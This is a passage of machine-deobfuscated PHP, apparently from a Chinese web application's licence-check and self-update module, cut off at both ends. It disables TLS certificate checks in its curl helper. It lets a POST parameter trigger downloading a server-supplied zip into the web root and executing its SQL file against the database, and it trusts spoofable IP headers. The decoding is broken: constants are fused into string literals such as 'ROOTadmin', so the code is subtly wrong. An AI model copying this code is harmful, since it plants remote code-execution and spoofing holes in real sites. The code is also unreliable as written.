                    $K4pzA1[] =& $result;
                    $K4peF0 = call_user_func_array("is_array", $K4pzA1);
                    if ($K4peF0) {
                        $K4pA5 = !empty($result['data']['queue']);
                        if ($K4pA5) {
                            $K4poB5 = $i;
                            $K4poB6 = 1;
                            unset($K4ptIA5);
                            $K4ptIA5 = $K4poB6;
                            $i = $K4ptIA5;
                            $K4pA5 = $i > self::QUEUE_TIME;
                            if ($K4pA5) {
                                return false;
                            }
                            $K4pzA1 = array();
                            $K4pzA1[] = 1;
                            $K4peF0 = call_user_func_array("sleep", $K4pzA1);
                            goto K4pxc3;
                        }
                        return $result;
                    }
                    return false;
                }
                K4pldMhxcc:
                K4pxcb:
                goto K4pxby;
            }
            return $result;
        }
        K4pxby:
        return false;
    }
    public static function publicDecrypt($encrypted = '')
    {
        $K4pzA1 = array();
        $K4pzA1[] =& $encrypted;
        $K4peF0 = call_user_func_array("is_string", $K4pzA1);
        $K4pA5 = !$K4peF0;
        if ($K4pA5) {
            return null;
        }
        $K4pzA1 = array();
        $K4pzA1[] =& $encrypted;
        $K4peFvP0 = call_user_func_array("base64_decode", $K4pzA1);
        if (openssl_public_decrypt($K4peFvP0, $decrypted, self::getPublicKey())) {
            $K4pA5 = $decrypted;
            goto K4pxcl;
        }
        $K4pA5 = null;
        K4pxcl:
        return $K4pA5;
    }
    private function getPublicKey()
    {
        unset($K4ptIA5);
        $K4ptIA5 = self::$PUBLIC_KEY;
        $publicKey = $K4ptIA5;
        $K4pzA1 = array();
        $K4pzA1[] =& $publicKey;
        $K4peF0 = call_user_func_array("openssl_pkey_get_public", $K4pzA1);
        return $K4peF0;
    }
    private static function curl_request($url, $data = array(), $type = 'post', $https = false)
    {
        $K4pzA1 = array();
        $K4peF0 = call_user_func_array("curl_init", $K4pzA1);
        unset($K4ptIA5);
        $K4ptIA5 = $K4peF0;
        $ch = $K4ptIA5;
        $K4pzA1 = array();
        $K4pzA1[] =& $ch;
        $K4pzA1[] = CURLOPT_HTTP_VERSION;
        $K4pzA1[] = CURL_HTTP_VERSION_1_1;
        $K4peF0 = call_user_func_array("curl_setopt", $K4pzA1);
        $K4pzA1 = array();
        $K4pzA1[] =& $ch;
        $K4pzA1[] = CURLOPT_USERAGENT;
        $K4pzA1[] = 'Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)';
        $K4peF0 = call_user_func_array("curl_setopt", $K4pzA1);
        $K4pzA1 = array();
        $K4pzA1[] =& $ch;
        $K4pzA1[] = CURLOPT_CONNECTTIMEOUT;
        $K4pzA1[] = 30;
        $K4peF0 = call_user_func_array("curl_setopt", $K4pzA1);
        $K4pzA1 = array();
        $K4pzA1[] =& $ch;
        $K4pzA1[] = CURLOPT_TIMEOUT;
        $K4pzA1[] = 30;
        $K4peF0 = call_user_func_array("curl_setopt", $K4pzA1);
        $K4pzA1 = array();
        $K4pzA1[] =& $ch;
        $K4pzA1[] = CURLOPT_RETURNTRANSFER;
        $K4pzA1[] = true;
        $K4peF0 = call_user_func_array("curl_setopt", $K4pzA1);
        if ($https) {
            $K4pzA1 = array();
            $K4pzA1[] =& $ch;
            $K4pzA1[] = CURLOPT_SSL_VERIFYPEER;
            $K4pzA1[] = false;
            $K4peF0 = call_user_func_array("curl_setopt", $K4pzA1);
            $K4pzA1 = array();
            $K4pzA1[] =& $ch;
            $K4pzA1[] = CURLOPT_SSL_VERIFYHOST;
            $K4pzA1[] = false;
            $K4peF0 = call_user_func_array("curl_setopt", $K4pzA1);
            goto K4pxcn;
        }
        K4pxcn:
        $K4pzA1 = array();
        $K4pzA1[] =& $type;
        $K4peF0 = call_user_func_array("strtolower", $K4pzA1);
        $K4pA5 = $K4peF0 == 'post';
        if ($K4pA5) {
            $K4pzA1 = array();
            $K4pzA1[] =& $ch;
            $K4pzA1[] = CURLOPT_POST;
            $K4pzA1[] = true;
            $K4peF0 = call_user_func_array("curl_setopt", $K4pzA1);
            $K4pzA1 = array();
            $K4pzA1[] =& $ch;
            $K4pzA1[] = CURLOPT_POSTFIELDS;
            $K4pzA1[] =& $data;
            $K4peF0 = call_user_func_array("curl_setopt", $K4pzA1);
            goto K4pxcp;
        }
        $K4pA5 = !empty($data);
        $K4pA6 = (bool) $K4pA5;
        if ($K4pA6) {
            $K4pzA2 = array();
            $K4pzA2[] =& $data;
            $K4peF1 = call_user_func_array("is_array", $K4pzA2);
            $K4pA6 = (bool) $K4peF1;
            goto K4pxcr;
        }
        K4pxcr:
        if ($K4pA6) {
            $K4pA5 = $url . '?';
            $K4pzA1 = array();
            $K4pzA1[] =& $data;
            $K4peF0 = call_user_func_array("http_build_query", $K4pzA1);
            $K4pA6 = $K4pA5 . $K4peF0;
            unset($K4ptIA7);
            $K4ptIA7 = $K4pA6;
            $url = $K4ptIA7;
            goto K4pxcp;
        }
        K4pxcp:
        $K4pzA1 = array();
        $K4pzA1[] =& $ch;
        $K4pzA1[] = CURLOPT_URL;
        $K4pzA1[] =& $url;
        $K4peF0 = call_user_func_array("curl_setopt", $K4pzA1);
        $K4pzA1 = array();
        $K4pzA1[] =& $ch;
        $K4peF0 = call_user_func_array("curl_exec", $K4pzA1);
        unset($K4ptIA5);
        $K4ptIA5 = $K4peF0;
        $result = $K4ptIA5;
        $K4pA5 = $result === false;
        if ($K4pA5) {
            return false;
        }
        $K4pzA1 = array();
        $K4pzA1[] =& $ch;
        $K4peF0 = call_user_func_array("curl_close", $K4pzA1);
        return $result;
    }
}
$K4pzA1 = array();
$K4pzA1[] = "/var/www/html/input.php";
$K4peFvP0 = call_user_func_array("dirname", $K4pzA1);
$K4pvPA5 = $K4peFvP0 . '/';
$K4pzA3 = array();
$K4pzA3[] = 'SF_ROOT';
$K4pzA3[] =& $K4pvPA5;
$K4peF2 = call_user_func_array("define", $K4pzA3);
$K4pA5 = "SF_ROOTAuthInfo.php";
$K4pA6 = (include $K4pA5);
$K4pA5 = new Authorization();
unset($K4ptIA6);
$K4ptIA6 = $K4pA5;
$authorization = $K4ptIA6;
$K4pA5 = $islogin == 1;
if ($K4pA5) {
    $K4pA5 = !empty($_SESSION['SF_CheckAuthResult']);
    if ($K4pA5) {
        unset($K4ptIA5);
        $K4ptIA5 = $_SESSION['SF_CheckAuthResult'];
        $result = $K4ptIA5;
        $K4pzA1 = array();
        $K4pzA1[] =& $result;
        $K4peF0 = call_user_func_array("is_array", $K4pzA1);
        if ($K4peF0) {
            unset($K4ptIA5);
            $K4ptIA5 = Authorization::publicDecrypt($result['data']['time']);
            $time = $K4ptIA5;
            $K4pA5 = $time + Authorization::TIME;
            $K4pzA1 = array();
            $K4peF0 = call_user_func_array("time", $K4pzA1);
            $K4pA6 = $K4pA5 > $K4peF0;
            if ($K4pA6) {
                $K4pA5 = $result['code'] != 0;
                if ($K4pA5) {
                    Authorization::Message($result['msg']);
                    goto K4px2n;
                }
                K4px2n:
                goto K4px2l;
            }
            unset($_SESSION['SF_CheckAuthResult']);
            K4px2l:
            goto K4px2j;
        }
        unset($_SESSION['SF_CheckAuthResult']);
        Authorization::Message('链接服务器失败');
        K4px2j:
        goto K4px2h;
    }
    $K4pzA1 = array();
    $K4pzA2 = array();
    $K4pzA2[] = $authorization;
    $K4pzA2[] = "checkInfo";
    $K4phC0 = call_user_func_array($K4pzA2, $K4pzA1);
    unset($K4ptIA5);
    $K4ptIA5 = $K4phC0;
    $result = $K4ptIA5;
    $K4pA5 = !$result;
    if ($K4pA5) {
        Authorization::Message('链接服务器失败');
        goto K4px2p;
    }
    $K4pA5 = $result['data']['code'] == 0;
    if ($K4pA5) {
        unset($K4ptIA5);
        $K4ptIA5 = $result;
        $_SESSION['SF_CheckAuthResult'] = $K4ptIA5;
        goto K4px2r;
    }
    $K4pA5 = $result['data']['code'] == 1;
    if ($K4pA5) {
        goto K4px2r;
    }
    Authorization::Message($result['msg']);
    K4px2r:
    K4px2p:
    K4px2h:
    goto K4px2f;
}
K4px2f:
if (isset($_POST['SF_Action'])) {
    $K4pA5 = $_POST['SF_Action'];
    goto K4px2u;
}
$K4pA5 = null;
K4px2u:
unset($K4ptIA6);
$K4ptIA6 = $K4pA5;
$SF_Action = $K4ptIA6;
$K4pA5 = !empty($SF_Action);
if ($K4pA5) {
    $K4pzA1 = array();
    $K4pzA1[] = 'update';
    $K4pzA2 = array();
    $K4pzA2[] = $authorization;
    $K4pzA2[] = "checkInfo";
    $K4phC0 = call_user_func_array($K4pzA2, $K4pzA1);
    unset($K4ptIA5);
    $K4ptIA5 = $K4phC0;
    $result = $K4ptIA5;
    $K4plFkgHhx2y = $SF_Action;
    $K4pA5 = $K4plFkgHhx2y == 'check';
    if ($K4pA5) {
        $K4pA5 = !$result;
        if ($K4pA5) {
            $K4pzA0 = array();
            $K4pzA0['code'] = 1;
            $K4pzA0['msg'] = '啊哦,更新服务器开小差了,请刷新此页面。';
            unset($K4ptIA5);
            $K4ptIA5 = $K4pzA0;
            $data = $K4ptIA5;
            $K4pzA1 = array();
            $K4pzA1[] =& $data;
            $K4peF0 = call_user_func_array("json_encode", $K4pzA1);
            exit($K4peF0);
        }
        $K4pzA1 = array();
        $K4pzA1[] =& $result;
        $K4peF0 = call_user_func_array("json_encode", $K4pzA1);
        exit($K4peF0);
    }
    $K4pA5 = $K4plFkgHhx2y == 'update';
    if ($K4pA5) {
        $K4pA5 = !empty($_POST['dirname']);
        if ($K4pA5) {
            unset($K4pcV1);
            $K4pzA4 = array();
            $K4pzA4[] =& $_POST;
            $K4peF3 = call_user_func_array("is_array", $K4pzA4);
            if ($K4peF3) {
                $K4pcV1 =& $_POST['dirname'];
                goto K4px37;
            }
            $K4pcV1 = $_POST['dirname'];
            K4px37:
            $K4pzA2 = array();
            $K4pzA2[] =& $K4pcV1;
            $K4peF0 = call_user_func_array("is_dir", $K4pzA2);
            $K4pA5 = !$K4peF0;
            if ($K4pA5) {
                $K4pzA0 = array();
                $K4pzA0['code'] = 2;
                $K4pzA0['msg'] = '不存在此目录,请输入正确的后台目录!';
                unset($K4ptIA5);
                $K4ptIA5 = $K4pzA0;
                $data = $K4ptIA5;
                $K4pzA1 = array();
                $K4pzA1[] =& $data;
                $K4peF0 = call_user_func_array("json_encode", $K4pzA1);
                exit($K4peF0);
            }
            unset($K4ptIA5);
            $K4ptIA5 = $_POST['dirname'];
            $_SESSION['dirname'] = $K4ptIA5;
            goto K4px34;
        }
        K4px34:
        $K4pvPA5 = "ROOTadmin";
        $K4pzA1 = array();
        $K4pzA1[] =& $K4pvPA5;
        $K4peF0 = call_user_func_array("is_dir", $K4pzA1);
        $K4pA6 = !$K4peF0;
        $K4pA7 = (bool) $K4pA6;
        if ($K4pA7) {
            $K4pA7 = (bool) empty($_SESSION['dirname']);
            goto K4px3b;
        }
        K4px3b:
        if ($K4pA7) {
            $K4pzA0 = array();
            $K4pzA0['code'] = 2;
            $K4pzA0['msg'] = '系统检测到您已更改过后台目录名,请填写您现在的后台目录名,以便更新覆盖!';
            unset($K4ptIA5);
            $K4ptIA5 = $K4pzA0;
            $data = $K4ptIA5;
            $K4pzA1 = array();
            $K4pzA1[] =& $data;
            $K4peF0 = call_user_func_array("json_encode", $K4pzA1);
            exit($K4peF0);
        }
        unset($K4ptIA5);
        $K4ptIA5 = $result['data']['data']['url'];
        $downloadUrl = $K4ptIA5;
        unset($K4ptIA5);
        $K4ptIA5 = 'SF.zip';
        $ZipFile = $K4ptIA5;
        unset($K4pEc2);
        $K4pEc2 = array();
        foreach ($result['data']['data']['download'] as $res) {
            $K4pEc2[] = $res;
        }
        $K4p2i = 0;
        K4px4e:
        $K4pzA1 = array();
        $K4pzA1[] =& $K4pEc2;
        $K4peF0 = call_user_func_array("count", $K4pzA1);
        $K4pA5 = $K4p2i < $K4peF0;
        if ($K4pA5) {
            $K4p2Key = array_keys($K4pEc2);
            $K4p2Key = $K4p2Key[$K4p2i];
            unset($K4ptIA5);
            $K4ptIA5 = $K4pEc2[$K4p2Key];
            $res = $K4ptIA5;
            $K4pvPA5 = $downloadUrl . $res;
            $K4pzA1 = array();
            $K4pzA1[] =& $K4pvPA5;
            $K4pzA1[] =& $ZipFile;
            $K4peF0 = call_user_func_array("copy", $K4pzA1);
            $K4pA6 = !$K4peF0;
            if ($K4pA6) {
                $K4pzA0 = array();
                $K4pzA0['code'] = 1;
                $K4pzA0['msg'] = '无法下载更新包文件!';
                unset($K4ptIA5);
                $K4ptIA5 = $K4pzA0;
                $data = $K4ptIA5;
                $K4pzA1 = array();
                $K4pzA1[] =& $data;
                $K4peF0 = call_user_func_array("json_encode", $K4pzA1);
                exit($K4peF0);
            }
            unset($K4ptIA5);
            $K4ptIA5 = '';
            $addstr = $K4ptIA5;
            $K4pzA1 = array();
            $K4pzA1[] =& $ZipFile;
            $K4pzA1[] = ROOT;
            $K4peF0 = call_user_func_array("zipExtract", $K4pzA1);
            if ($K4peF0) {
                if (function_exists("opcache_reset")) {
                    $K4pzA1 = array();
                    $K4pzA1[] = "error_reporting";
                    $K4peF0 = call_user_func_array("ini_get", $K4pzA1);
                    unset($K4ptIA5);
                    $K4ptIA5 = $K4peF0;
                    $GLOBALS["Ox8117"] = $K4ptIA5;
                    $K4pzA1 = array();
                    $K4pzA1[] = 0;
                    $K4peF0 = call_user_func_array("error_reporting", $K4pzA1);
                    $K4pzA1 = array();
                    $K4peF0 = call_user_func_array("opcache_reset", $K4pzA1);
                    $K4peRA5 = $K4peF0;
                    unset($K4pcV1);
                    $K4pzA4 = array();
                    $K4pzA4[] =& $GLOBALS;
                    $K4peF3 = call_user_func_array("is_array", $K4pzA4);
                    if ($K4peF3) {
                        $K4pcV1 =& $GLOBALS["Ox8117"];
                        goto K4px4n;
                    }
                    $K4pcV1 = $GLOBALS["Ox8117"];
                    K4px4n:
                    $K4pzA2 = array();
                    $K4pzA2[] =& $K4pcV1;
                    $K4peF0 = call_user_func_array("error_reporting", $K4pzA2);
                    goto K4px3i;
                }
                K4px3i:
                $K4pA5 = "ROOTupdate.sql";
                unset($K4ptIA6);
                $K4ptIA6 = $K4pA5;
                unset($K4ptIA5);
                $K4ptIA5 = $K4ptIA6;
                $sqlFile = $K4ptIA5;
                unset($K4ptIA5);
                $K4ptIA5 = 0;
                $t = $K4ptIA5;
                unset($K4ptIA5);
                $K4ptIA5 = 0;
                $e = $K4ptIA5;
                unset($K4ptIA5);
                $K4ptIA5 = '';
                $error = $K4ptIA5;
                $K4pzA1 = array();
                $K4pzA1[] =& $sqlFile;
                $K4peF0 = call_user_func_array("is_file", $K4pzA1);
                if ($K4peF0) {
                    $K4pzA1 = array();
                    $K4pzA1[] =& $sqlFile;
                    $K4peF0 = call_user_func_array("file_get_contents", $K4pzA1);
                    unset($K4ptIA5);
                    $K4ptIA5 = $K4peF0;
                    $sql = $K4ptIA5;
                    $K4pzA1 = array();
                    $K4pzA1[] = ';';
                    $K4pzA1[] =& $sql;
                    $K4peF0 = call_user_func_array("explode", $K4pzA1);
                    unset($K4ptIA5);
                    $K4ptIA5 = $K4peF0;
                    $sql = $K4ptIA5;
                    unset($K4ptIA5);
                    $K4ptIA5 = 0;
                    $i = $K4ptIA5;
                    K4px3m:
                    $K4pzA1 = array();
                    $K4pzA1[] =& $sql;
                    $K4peF0 = call_user_func_array("count", $K4pzA1);
                    $K4pA5 = $i < $K4peF0;
                    if ($K4pA5) {
                        unset($K4pcV1);
                        $K4pzA4 = array();
                        $K4pzA4[] =& $sql;
                        $K4peF3 = call_user_func_array("is_array", $K4pzA4);
                        if ($K4peF3) {
                            $K4pcV1 =& $sql[$i];
                            goto K4px3q;
                        }
                        $K4pcV1 = $sql[$i];
                        K4px3q:
                        $K4pzA2 = array();
                        $K4pzA2[] =& $K4pcV1;
                        $K4peF0 = call_user_func_array("trim", $K4pzA2);
                        $K4pA5 = $K4peF0 == '';
                        if ($K4pA5) {
                            goto K4px3n;
                        }
                        unset($K4pcV1);
                        $K4pzA5 = array();
                        $K4pzA5[] =& $sql;
                        $K4peF4 = call_user_func_array("is_array", $K4pzA5);
                        if ($K4peF4) {
                            $K4pcV1 =& $sql[$i];
                            goto K4px3u;
                        }
                        $K4pcV1 = $sql[$i];
                        K4px3u:
                        $K4pzA2 = array();
                        $K4pzA2[] =& $K4pcV1;
                        $K4pzA3 = array();
                        $K4pzA3[] = $DB;
                        $K4pzA3[] = "exec";
                        $K4phC0 = call_user_func_array($K4pzA3, $K4pzA2);
                        $K4pA5 = $K4phC0 !== false;
                        if ($K4pA5) {
                            $K4poB3 = $t + 1;
                            unset($K4ptIA5);
                            $K4ptIA5 = $K4poB3;
                            $t = $K4ptIA5;
                            $K4poB2 = $t;
                            goto K4px3t;
                        }
                        $K4poB4 = $e + 1;
                        unset($K4ptIA5);
                        $K4ptIA5 = $K4poB4;
                        $e = $K4ptIA5;
                        $K4poB3 = $e;
                        $K4pzA1 = array();
                        $K4pzA2 = array();
                        $K4pzA2[] = $DB;
                        $K4pzA2[] = "error";
                        $K4phC0 = call_user_func_array($K4pzA2, $K4pzA1);
                        $K4pA5 = $K4phC0 . '';
                        $K4pA5 = $error . $K4pA5;
                        unset($K4ptIA6);
                        $K4ptIA6 = $K4pA5;
                        unset($K4ptIA5);
                        $K4ptIA5 = $K4ptIA6;
                        $error = $K4ptIA5;
                        $K4pnWA6 = $error;
                        K4px3t:
                        K4px3n:
                        $K4poB4 = $i;
                        $K4poB5 = $i + 1;
                        unset($K4ptIA5);
                        $K4ptIA5 = $K4poB5;
                        $i = $K4ptIA5;
                        goto K4px3m;
                    }
                    K4pldMhx3y:
                    K4px3x:
                    $K4pzA1 = array();
                    $K4pzA1[] = "error_reporting";
                    $K4peF0 = call_user_func_array("ini_get", $K4pzA1);
                    unset($K4ptIA5);
                    $K4ptIA5 = $K4peF0;
                    $GLOBALS["Ox8117"] = $K4ptIA5;
                    $K4pzA1 = array();
                    $K4pzA1[] = 0;
                    $K4peF0 = call_user_func_array("error_reporting", $K4pzA1);
                    $K4pzA1 = array();
                    $K4pzA1[] =& $sqlFile;
                    $K4peF0 = call_user_func_array("unlink", $K4pzA1);
                    $K4peRA5 = $K4peF0;
                    unset($K4pcV1);
                    $K4pzA4 = array();
                    $K4pzA4[] =& $GLOBALS;
                    $K4peF3 = call_user_func_array("is_array", $K4pzA4);
                    if ($K4peF3) {
                        $K4pcV1 =& $GLOBALS["Ox8117"];
                        goto K4px52;
                    }
                    $K4pcV1 = $GLOBALS["Ox8117"];
                    K4px52:
                    $K4pzA2 = array();
                    $K4pzA2[] =& $K4pcV1;
                    $K4peF0 = call_user_func_array("error_reporting", $K4pzA2);
                    $K4pA5 = '数据库更新成功。SQL成功' . $t;
                    $K4pA6 = $K4pA5 . '句/失败';
                    $K4pA7 = $K4pA6 . $e;
                    $K4pA8 = $K4pA7 . '句';
                    unset($K4ptIA9);
                    $K4ptIA9 = $K4pA8;
                    unset($K4ptIA5);
                    $K4ptIA5 = $K4ptIA9;
                    $addstr = $K4ptIA5;
                    goto K4px3k;
                }
                K4px3k:
                $K4pzA1 = array();
                $K4pzA1[] = "error_reporting";
                $K4peF0 = call_user_func_array("ini_get", $K4pzA1);
                unset($K4ptIA5);
                $K4ptIA5 = $K4peF0;
                $GLOBALS["Ox8117"] = $K4ptIA5;
                $K4pzA1 = array();
                $K4pzA1[] = 0;
                $K4peF0 = call_user_func_array("error_reporting", $K4pzA1);
                $K4pzA1 = array();
                $K4pzA1[] =& $ZipFile;
                $K4peF0 = call_user_func_array("unlink", $K4pzA1);
                $K4peRA5 = $K4peF0;
                unset($K4pcV1);
                $K4pzA4 = array();
                $K4pzA4[] =& $GLOBALS;
                $K4peF3 = call_user_func_array("is_array", $K4pzA4);
                if ($K4peF3) {
                    $K4pcV1 =& $GLOBALS["Ox8117"];
                    goto K4px54;
                }
                $K4pcV1 = $GLOBALS["Ox8117"];
                K4px54:
                $K4pzA2 = array();
                $K4pzA2[] =& $K4pcV1;
                $K4peF0 = call_user_func_array("error_reporting", $K4pzA2);
                $K4pvPA5 = '更新包解压成功' . $addstr;
                $K4pzA0 = array();
                $K4pzA0['code'] = 0;
                $K4pzA0['msg'] = $K4pvPA5;
                unset($K4ptIA6);
                $K4ptIA6 = $K4pzA0;
                unset($K4ptIA5);
                $K4ptIA5 = $K4ptIA6;
                $data = $K4ptIA5;
                $K4pvPA5 = "ROOTadmin";
                $K4pzA1 = array();
                $K4pzA1[] =& $K4pvPA5;
                $K4peF0 = call_user_func_array("is_dir", $K4pzA1);
                $K4pA7 = (bool) $K4peF0;
                if ($K4pA7) {
                    $K4pA6 = !empty($_SESSION['dirname']);
                    $K4pA7 = (bool) $K4pA6;
                    goto K4px49;
                }
                K4px49:
                if ($K4pA7) {
                    $K4pvPA5 = "ROOTadmin";
                    $K4pvPA6 = ROOT . $_SESSION['dirname'];
                    $K4pzA1 = array();
                    $K4pzA1[] =& $K4pvPA5;
                    $K4pzA1[] =& $K4pvPA6;
                    $K4peF0 = call_user_func_array("copydirs", $K4pzA1);
                    $K4pvPA5 = "ROOTadmin";
                    $K4pzA1 = array();
                    $K4pzA1[] =& $K4pvPA5;
                    $K4peF0 = call_user_func_array("rmdirs", $K4pzA1);
                    goto K4px48;
                }
                K4px48:
                $K4pzA1 = array();
                $K4pzA1[] =& $data;
                $K4peF0 = call_user_func_array("json_encode", $K4pzA1);
                exit($K4peF0);
            }
            $K4pzA1 = array();
            $K4pzA1[] =& $ZipFile;
            $K4peF0 = call_user_func_array("file_exists", $K4pzA1);
            if ($K4peF0) {
                $K4pzA1 = array();
                $K4pzA1[] = "error_reporting";
                $K4peF0 = call_user_func_array("ini_get", $K4pzA1);
                unset($K4ptIA5);
                $K4ptIA5 = $K4peF0;
                $GLOBALS["Ox8117"] = $K4ptIA5;
                $K4pzA1 = array();
                $K4pzA1[] = 0;
                $K4peF0 = call_user_func_array("error_reporting", $K4pzA1);
                $K4pzA1 = array();
                $K4pzA1[] =& $ZipFile;
                $K4peF0 = call_user_func_array("unlink", $K4pzA1);
                $K4peRA5 = $K4peF0;
                unset($K4pcV1);
                $K4pzA4 = array();
                $K4pzA4[] =& $GLOBALS;
                $K4peF3 = call_user_func_array("is_array", $K4pzA4);
                if ($K4peF3) {
                    $K4pcV1 =& $GLOBALS["Ox8117"];
                    goto K4px5c;
                }
                $K4pcV1 = $GLOBALS["Ox8117"];
                K4px5c:
                $K4pzA2 = array();
                $K4pzA2[] =& $K4pcV1;
                $K4peF0 = call_user_func_array("error_reporting", $K4pzA2);
                goto K4px4c;
            }
            K4px4c:
            $K4pzA0 = array();
            $K4pzA0['code'] = 1;
            $K4pzA0['msg'] = '解压更新包失败,请稍后重试';
            unset($K4ptIA5);
            $K4ptIA5 = $K4pzA0;
            $data = $K4ptIA5;
            $K4pzA1 = array();
            $K4pzA1[] =& $data;
            $K4peF0 = call_user_func_array("json_encode", $K4pzA1);
            exit($K4peF0);
        }
        K4pldMhx5f:
        K4px5e:
        $K4pzA0 = array();
        $K4pzA0['code'] = 1;
        $K4pzA0['msg'] = '已更新至最新版本';
        unset($K4ptIA5);
        $K4ptIA5 = $K4pzA0;
        $data = $K4ptIA5;
        $K4pA5 = !empty($_SESSION['dirname']);
        if ($K4pA5) {
            unset($_SESSION['dirname']);
            goto K4px6d;
        }
        K4px6d:
        $K4pzA1 = array();
        $K4pzA1[] =& $data;
        $K4peF0 = call_user_func_array("json_encode", $K4pzA1);
        exit($K4peF0);
    }
    goto K4px2w;
}
$K4pA5 = $conf['lt_version'] < DB_VERSION;
if ($K4pA5) {
    $K4pA5 = !$install;
    if ($K4pA5) {
        $K4pzA1 = array();
        $K4pzA1[] = '请先完成网站升级!<a href="/install/update.php"><font color=red>点此升级</font></a>';
        $K4peF0 = call_user_func_array("sysmsg", $K4pzA1);
        exit;
    }
    goto K4px6j;
}
K4pldMhx6k:
K4px6j:
K4px2w:
$K4pA5 = $_GET['getNotice'] == '1';
if ($K4pA5) {
    $K4pzA1 = array();
    $K4pzA2 = array();
    $K4pzA2[] = $authorization;
    $K4pzA2[] = "getNotice";
    $K4phC0 = call_user_func_array($K4pzA2, $K4pzA1);
    unset($K4ptIA5);
    $K4ptIA5 = $K4phC0;
    $result = $K4ptIA5;
    $K4pA5 = !$result;
    if ($K4pA5) {
        $K4pzAvP0 = array();
        $K4pzAvP0['code'] = 1;
        $K4pzA2 = array();
        $K4pzA2[] =& $K4pzAvP0;
        $K4peF1 = call_user_func_array("json_encode", $K4pzA2);
        exit($K4peF1);
    }
    $K4pzAvP0 = array();
    $K4pzAvP0['code'] = 0;
    $K4pzAvP0['data'] = $result;
    $K4pzA2 = array();
    $K4pzA2[] =& $K4pzAvP0;
    $K4peF1 = call_user_func_array("json_encode", $K4pzA2);
    exit($K4peF1);
}
K4px6n:
function x_real_ip()
{
    unset($K4ptIA5);
    $K4ptIA5 = $_SERVER['REMOTE_ADDR'];
    $ip = $K4ptIA5;
    $K4pA5 = (bool) isset($_SERVER['HTTP_X_FORWARDED_FOR']);
    if ($K4pA5) {
        unset($K4pcV2);
        $K4pzA5 = array();
        $K4pzA5[] =& $_SERVER;
        $K4peF4 = call_user_func_array("is_array", $K4pzA5);
        if ($K4peF4) {
            $K4pcV2 =& $_SERVER['HTTP_X_FORWARDED_FOR'];
            goto K4px6s;
        }
        $K4pcV2 = $_SERVER['HTTP_X_FORWARDED_FOR'];
        K4px6s:
        $K4pzA3 = array();
        $K4pzA3[] = "#\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}#s";
        $K4pzA3[] =& $K4pcV2;
        $K4pzA3[] =& $matches;
        $K4peF1 = call_user_func_array("preg_match_all", $K4pzA3);
        $K4pA5 = (bool) $K4peF1;
        goto K4px6u;
    }
    K4px6u:
    if ($K4pA5) {
        unset($K4pEc1);
        $K4pEc1 = array();
        foreach ($matches[0] as $xip) {
            $K4pEc1[] = $xip;
        }
        $K4p1i = 0;
        K4px7z:
        $K4pzA1 = array();
        $K4pzA1[] =& $K4pEc1;
        $K4peF0 = call_user_func_array("count", $K4pzA1);
        $K4pA5 = $K4p1i < $K4peF0;
        if ($K4pA5) {
            $K4p1Key = array_keys($K4pEc1);
            $K4p1Key = $K4p1Key[$K4p1i];
            unset($K4ptIA5);
            $K4ptIA5 = $K4pEc1[$K4p1Key];
            $xip = $K4ptIA5;
            $K4pzA1 = array();
            $K4pzA1[] = "#^(10|172\\.16|192\\.168)\\.#";
            $K4pzA1[] =& $xip;
            $K4peF0 = call_user_func_array("preg_match", $K4pzA1);
            $K4pA5 = !$K4peF0;
            if ($K4pA5) {
                unset($K4ptIA5);
                $K4ptIA5 = $xip;
                $ip = $K4ptIA5;
                goto K4px6x;
            }
            K4pldMhx6y:
            K4px6x:
            $K4p1i += 1;
            goto K4px7z;
        }
        K4pldMhx76:
        K4px75:
        goto K4px6r;
    }
    $K4pA5 = (bool) isset($_SERVER['HTTP_CLIENT_IP']);
    if ($K4pA5) {
        unset($K4pcV2);
        $K4pzA5 = array();
        $K4pzA5[] =& $_SERVER;
        $K4peF4 = call_user_func_array("is_array", $K4pzA5);
        if ($K4peF4) {
            $K4pcV2 =& $_SERVER['HTTP_CLIENT_IP'];
            goto K4px79;
        }
        $K4pcV2 = $_SERVER['HTTP_CLIENT_IP'];
        K4px79:
        $K4pzA3 = array();
        $K4pzA3[] = '/^([0-9]{1,3}\\.){3}[0-9]{1,3}$/';
        $K4pzA3[] =& $K4pcV2;
        $K4peF1 = call_user_func_array("preg_match", $K4pzA3);
        $K4pA5 = (bool) $K4peF1;
        goto K4px7b;
    }
    K4px7b:
    if ($K4pA5) {
        unset($K4ptIA5);
        $K4ptIA5 = $_SERVER['HTTP_CLIENT_IP'];
        $ip = $K4ptIA5;
        goto K4px6r;
    }
    $K4pA5 = (bool) isset($_SERVER['HTTP_CF_CONNECTING_IP']);
    if ($K4pA5) {
        unset($K4pcV2);
        $K4pzA5 = array();
        $K4pzA5[] =& $_SERVER;
        $K4peF4 = call_user_func_array("is_array", $K4pzA5);
        if ($K4peF4) {
            $K4pcV2 =& $_SERVER['HTTP_CF_CONNECTING_IP'];
            goto K4px7e;
        }
        $K4pcV2 = $_SERVER['HTTP_CF_CONNECTING_IP'];
        K4px7e:
        $K4pzA3 = array();
        $K4pzA3[] = '/^([0-9]{1,3}\\.){3}[0-9]{1,3}$/';
        $K4pzA3[] =& $K4pcV2;
        $K4peF1 = call_user_func_array("preg_match", $K4pzA3);
        $K4pA5 = (bool) $K4peF1;
        goto K4px7g;
    }
    K4px7g:
    if ($K4pA5) {
        unset($K4ptIA5);
        $K4ptIA5 = $_SERVER['HTTP_CF_CONNECTING_IP'];
        $ip = $K4ptIA5;
        goto K4px6r;
    }
    $K4pA5 = (bool) isset($_SERVER['HTTP_X_REAL_IP']);
    if ($K4pA5) {
        unset($K4pcV2);
        $K4pzA5 = array();
        $K4pzA5[] =& $_SERVER;
        $K4peF4 = call_user_func_array("is_array", $K4pzA5);
        if ($K4peF4) {
            $K4pcV2 =& $_SERVER['HTTP_X_REAL_IP'];
            goto K4px7k;
        }
        $K4pcV2 = $_SERVER['HTTP_X_REAL_IP'];
        K4px7k:
        $K4pzA3 = array();
        $K4pzA3[] = "/^([0-9]{1,3}\\.){3}[0-9]{1,3}\$/";
        $K4pzA3[] =& $K4pcV2;
        $K4peF1 = call_user_func_array("preg_match", $K4pzA3);
        $K4pA5 = (bool) $K4peF1;
        goto K4px7m;
    }
    K4px7m:
    if ($K4pA5) {
        unset($K4ptIA5);
        $K4ptIA5 = $_SERVER['HTTP_X_REAL_IP'];
        $ip = $K4ptIA5;
        goto K4px7j;
    }
    K4pldMhx7o:
    K4px7j:
    K4px6r:
    return $ip;
}
function check_spider()
{
    unset($K4pcV1);
    $K4pzA4 = array();
